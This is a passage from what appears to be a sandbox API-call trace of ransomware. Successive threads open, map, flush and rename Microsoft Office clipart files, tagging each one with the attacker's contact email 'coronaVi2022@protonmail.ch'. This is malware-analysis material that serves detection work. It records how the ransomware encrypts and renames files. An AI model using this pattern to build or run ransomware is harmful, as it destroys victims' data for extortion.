	[0094.354] GetCurrentThreadId () returned 0x190c
	[0094.354] FlushFileBuffers (hFile=0xb54) returned 1
	[0094.356] CloseHandle (hObject=0xb54) returned 1
	[0094.356] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 242
	[0094.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif")) returned 1
	[0094.357] free (_Block=0x51f4090) 
	[0094.357] RtlExitUserThread (Status=0x0) 

Thread:
	id = 553
	os_tid = 0x1910

	[0094.359] _alloca_probe () returned 0x40328a
	[0094.359] GetCurrentThreadId () returned 0x1910
	[0094.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", dwFileAttributes=0x80) returned 1
	[0094.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb58
	[0094.360] GetFileSizeEx (in: hFile=0xb58, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12737) returned 1
	[0094.360] CreateFileMappingA (hFile=0xb58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31c1, lpName=0x0) returned 0xb5c
	[0094.360] MapViewOfFile (hFileMappingObject=0xb5c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.363] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.363] CloseHandle (hObject=0xb5c) returned 1
	[0094.363] GetCurrentThreadId () returned 0x1910
	[0094.363] FlushFileBuffers (hFile=0xb58) returned 1
	[0094.365] CloseHandle (hObject=0xb58) returned 1
	[0094.365] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 242
	[0094.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif")) returned 1
	[0094.366] free (_Block=0x51f5098) 
	[0094.366] RtlExitUserThread (Status=0x0) 

Thread:
	id = 554
	os_tid = 0x1914

	[0094.368] _alloca_probe () returned 0x40328a
	[0094.368] GetCurrentThreadId () returned 0x1914
	[0094.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", dwFileAttributes=0x80) returned 1
	[0094.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb5c
	[0094.369] GetFileSizeEx (in: hFile=0xb5c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3521) returned 1
	[0094.369] CreateFileMappingA (hFile=0xb5c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc1, lpName=0x0) returned 0xb60
	[0094.369] MapViewOfFile (hFileMappingObject=0xb60, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.370] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.370] CloseHandle (hObject=0xb60) returned 1
	[0094.370] GetCurrentThreadId () returned 0x1914
	[0094.370] FlushFileBuffers (hFile=0xb5c) returned 1
	[0094.372] CloseHandle (hObject=0xb5c) returned 1
	[0094.372] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 242
	[0094.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif")) returned 1
	[0094.373] free (_Block=0x51f1078) 
	[0094.373] RtlExitUserThread (Status=0x0) 

Thread:
	id = 555
	os_tid = 0x1918

	[0094.375] _alloca_probe () returned 0x40328a
	[0094.375] GetCurrentThreadId () returned 0x1918
	[0094.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", dwFileAttributes=0x80) returned 1
	[0094.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb60
	[0094.379] GetFileSizeEx (in: hFile=0xb60, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3169) returned 1
	[0094.379] CreateFileMappingA (hFile=0xb60, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc61, lpName=0x0) returned 0xb64
	[0094.379] MapViewOfFile (hFileMappingObject=0xb64, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.381] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.381] CloseHandle (hObject=0xb64) returned 1
	[0094.381] GetCurrentThreadId () returned 0x1918
	[0094.381] FlushFileBuffers (hFile=0xb60) returned 1
	[0094.386] CloseHandle (hObject=0xb60) returned 1
	[0094.386] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 242
	[0094.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif")) returned 1
	[0094.387] free (_Block=0x51f5098) 
	[0094.387] RtlExitUserThread (Status=0x0) 

Thread:
	id = 556
	os_tid = 0x191c

	[0094.389] _alloca_probe () returned 0x40328a
	[0094.389] GetCurrentThreadId () returned 0x191c
	[0094.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", dwFileAttributes=0x80) returned 1
	[0094.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb64
	[0094.389] GetFileSizeEx (in: hFile=0xb64, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12497) returned 1
	[0094.390] CreateFileMappingA (hFile=0xb64, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30d1, lpName=0x0) returned 0xb68
	[0094.390] MapViewOfFile (hFileMappingObject=0xb68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.393] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.393] CloseHandle (hObject=0xb68) returned 1
	[0094.393] GetCurrentThreadId () returned 0x191c
	[0094.393] FlushFileBuffers (hFile=0xb64) returned 1
	[0094.395] CloseHandle (hObject=0xb64) returned 1
	[0094.395] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 242
	[0094.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif")) returned 1
	[0094.396] free (_Block=0x51f60a0) 
	[0094.396] RtlExitUserThread (Status=0x0) 

Thread:
	id = 557
	os_tid = 0x1920

	[0094.397] _alloca_probe () returned 0x40328a
	[0094.398] GetCurrentThreadId () returned 0x1920
	[0094.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", dwFileAttributes=0x80) returned 1
	[0094.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb68
	[0094.398] GetFileSizeEx (in: hFile=0xb68, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5265) returned 1
	[0094.399] CreateFileMappingA (hFile=0xb68, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1491, lpName=0x0) returned 0xb6c
	[0094.399] MapViewOfFile (hFileMappingObject=0xb6c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.400] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.400] CloseHandle (hObject=0xb6c) returned 1
	[0094.400] GetCurrentThreadId () returned 0x1920
	[0094.400] FlushFileBuffers (hFile=0xb68) returned 1
	[0094.402] CloseHandle (hObject=0xb68) returned 1
	[0094.402] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 242
	[0094.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif")) returned 1
	[0094.403] free (_Block=0x51f3088) 
	[0094.403] RtlExitUserThread (Status=0x0) 

Thread:
	id = 558
	os_tid = 0x1924

	[0094.405] _alloca_probe () returned 0x40328a
	[0094.405] GetCurrentThreadId () returned 0x1924
	[0094.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", dwFileAttributes=0x80) returned 1
	[0094.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb6c
	[0094.406] GetFileSizeEx (in: hFile=0xb6c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2625) returned 1
	[0094.406] CreateFileMappingA (hFile=0xb6c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa41, lpName=0x0) returned 0xb70
	[0094.406] MapViewOfFile (hFileMappingObject=0xb70, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.407] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.407] CloseHandle (hObject=0xb70) returned 1
	[0094.407] GetCurrentThreadId () returned 0x1924
	[0094.407] FlushFileBuffers (hFile=0xb6c) returned 1
	[0094.409] CloseHandle (hObject=0xb6c) returned 1
	[0094.409] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 242
	[0094.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif")) returned 1
	[0094.410] free (_Block=0x51f1078) 
	[0094.410] RtlExitUserThread (Status=0x0) 

Thread:
	id = 559
	os_tid = 0x1928

	[0094.412] _alloca_probe () returned 0x40328a
	[0094.412] GetCurrentThreadId () returned 0x1928
	[0094.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", dwFileAttributes=0x80) returned 1
	[0094.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb70
	[0094.413] GetFileSizeEx (in: hFile=0xb70, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=10641) returned 1
	[0094.413] CreateFileMappingA (hFile=0xb70, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2991, lpName=0x0) returned 0xb74
	[0094.413] MapViewOfFile (hFileMappingObject=0xb74, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.415] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.416] CloseHandle (hObject=0xb74) returned 1
	[0094.416] GetCurrentThreadId () returned 0x1928
	[0094.416] FlushFileBuffers (hFile=0xb70) returned 1
	[0094.420] CloseHandle (hObject=0xb70) returned 1
	[0094.420] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 242
	[0094.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif")) returned 1
	[0094.421] free (_Block=0x51f3088) 
	[0094.421] RtlExitUserThread (Status=0x0) 

Thread:
	id = 560
	os_tid = 0x192c

	[0094.423] _alloca_probe () returned 0x40328a
	[0094.423] GetCurrentThreadId () returned 0x192c
	[0094.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", dwFileAttributes=0x80) returned 1
	[0094.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb74
	[0094.424] GetFileSizeEx (in: hFile=0xb74, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15345) returned 1
	[0094.424] CreateFileMappingA (hFile=0xb74, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bf1, lpName=0x0) returned 0xb78
	[0094.424] MapViewOfFile (hFileMappingObject=0xb78, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.427] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.427] CloseHandle (hObject=0xb78) returned 1
	[0094.428] GetCurrentThreadId () returned 0x192c
	[0094.428] FlushFileBuffers (hFile=0xb74) returned 1
	[0094.431] CloseHandle (hObject=0xb74) returned 1
	[0094.431] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 242
